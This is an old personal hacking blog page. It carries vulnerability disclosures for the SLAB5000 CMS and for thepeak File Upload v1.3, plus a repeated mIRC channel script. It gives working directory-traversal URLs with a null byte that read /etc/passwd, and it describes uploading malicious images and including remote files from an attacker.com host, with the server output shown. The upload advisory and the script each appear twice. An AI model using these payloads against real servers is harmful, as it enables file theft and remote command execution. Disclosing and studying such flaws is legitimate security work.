[Description]
SLAB500 is a complete, dynamic, modular web-system designed to your specifications, allowing you to quickly and conveniently update all your content, add new pages, upload images, sounds and video from any browser, via our front-end interface from any location that you have web access.
-- taken from they website http://www.slab5000.com --
I discover 2 bugs one known as "path disclosure" and Arbitrary File Read Vulnerability in the SLAB5000 Content Management System that allow malicious attacker to read sensitive information about the system.
[Path Disclosure]
Due to improper sanity checks in the variable $page:
http://www.server.com/index.php?page=../../../var
Warning: main(/usr/www/users/username/slab500/common/../../../var/index.php): failed to open stream: No such file or directory in /usr/www/users/usernameb/slab500/folder/index.php on line 63
[File Read]
Due to imporper sanity inputs checks too, just adding the NULL byte and the end of the file:
http://www.server.com/index.php?page=../../../../../etc/passwd%00
[Solution]
Edit the source to do sanity input checks as well.
Sorry if my english is bad :)
Justin_T
irc: #nt at Undernet
shoutz: warcold, KrOsS, HoOH, lsdx, jsz, and all the guyz from DO.
Sunday, April 23, 2006
a path disclosure and a posibility file inclusion and vulneability in thepeak file upload v1.3
Justin_T
#NT - Undernet
justint (at) orangemail.com (dot) do [email concealed]
hi,
there is a posiblity path disclosure and run commands on a server usint thepeak File Upload v1.3
searching for /fileupload/index.php an attacker can upload a malicious jpg of gif and can execute commands or make a file inclusion,
but it cant be directly to upload a php file with .jpg extension, because detect the content type as text/plain, look this:
name : cmd.jpg
type : text/plain <--- when you upload the file the content type is seem like this
tmp_name : /tmp/phpF0AItw <-- this is a copy of the file in the server with a ramdom temp
error : 0
size : 26564
http://server.com/fileupload/store/cmd.jpg <--- this is where is stored the original file
there is a 2 ways to get in
cracking the content-type when uploading the file or constructing an malicious jpg image with some commands:
1: chmod the dir for file inclusion
2: run certain commands on server, etc
Path Disclosure
when you try to put in input of upload file something like
http://www.attacker.com/command.jpg its seem the path of the web files like this:
File Upload Manager v1.3 © thepeak
name : http://www.attacker.com/cmd.gif
type : application/octet-stream
tmp_name : /tmp/phptd8aE0
error : 0
size : 0
Warning: copy(store/http://www.attacker.com/cmd.gif): failed to open stream: No such file or directory in /home/user/public_html//fileupload/index.php on line 471
ERROR: cannot upload, please chmod the dir to 777
some servers accept the file inclusion and you get this
name : http://www.attacker.com/cmd.gif
type : application/octet-stream
tmp_name : /tmp/phptd8aE0
error : 0
size : 1035
file uploaded!
sorry for my english, is no good :), if you want to organizate this info i apreciated that, thanx :)
#NT - Undernet
justint (at) orangemail.com (dot) do [email concealed]
hi,
there is a posiblity path disclosure and run commands on a server usint thepeak File Upload v1.3
searching for /fileupload/index.php an attacker can upload a malicious jpg of gif and can execute commands or make a file inclusion,
but it cant be directly to upload a php file with .jpg extension, because detect the content type as text/plain, look this:
name : cmd.jpg
type : text/plain <--- when you upload the file the content type is seem like this
tmp_name : /tmp/phpF0AItw <-- this is a copy of the file in the server with a ramdom temp
error : 0
size : 26564
http://server.com/fileupload/store/cmd.jpg <--- this is where is stored the original file
there is a 2 ways to get in
cracking the content-type when uploading the file or constructing an malicious jpg image with some commands:
1: chmod the dir for file inclusion
2: run certain commands on server, etc
Path Disclosure
when you try to put in input of upload file something like
http://www.attacker.com/command.jpg its seem the path of the web files like this:
File Upload Manager v1.3 © thepeak
name : http://www.attacker.com/cmd.gif
type : application/octet-stream
tmp_name : /tmp/phptd8aE0
error : 0
size : 0
Warning: copy(store/http://www.attacker.com/cmd.gif): failed to open stream: No such file or directory in /home/user/public_html//fileupload/index.php on line 471
ERROR: cannot upload, please chmod the dir to 777
some servers accept the file inclusion and you get this
name : http://www.attacker.com/cmd.gif
type : application/octet-stream
tmp_name : /tmp/phptd8aE0
error : 0
size : 1035
file uploaded!
sorry for my english, is no good :), if you want to organizate this info i apreciated that, thanx :)
Tuesday, April 04, 2006
IRC Stuffs
; ––––––––––––––––––––––––––––––––––––––––; Put your own scripts in here.; ––––––––––––––––––––––––––––––––––––––––
on 1:input:*:{ if -ban isin $1- { //mode $chan +bbbb $2- haltdef } if .test isin $1- { //say i have %hackick.count kicks on #hack }}
on 1:JOIN:#hack:{ if $nick isreg #hack /notice $nick This is a hacking help channel, to see tools and all for hack type !hack}on 1:TEXT:!hack:#hack:{ if $nick isreg # { /ban #hack $address($nick, 1) inc %hackick.count kick #hack %hackick.count idiots served! }
}on 1:TEXT:*ý*:#hack:/kick #hack $nick english please
; ––––––––––––––––––––––––––––––––––––––––; End of file; ––––––––––––––––––––––––––––––––––––––––
on 1:input:*:{ if -ban isin $1- { //mode $chan +bbbb $2- haltdef } if .test isin $1- { //say i have %hackick.count kicks on #hack }}
on 1:JOIN:#hack:{ if $nick isreg #hack /notice $nick This is a hacking help channel, to see tools and all for hack type !hack}on 1:TEXT:!hack:#hack:{ if $nick isreg # { /ban #hack $address($nick, 1) inc %hackick.count kick #hack %hackick.count idiots served! }
}on 1:TEXT:*ý*:#hack:/kick #hack $nick english please
; ––––––––––––––––––––––––––––––––––––––––; End of file; ––––––––––––––––––––––––––––––––––––––––
Subscribe to:
Posts (Atom)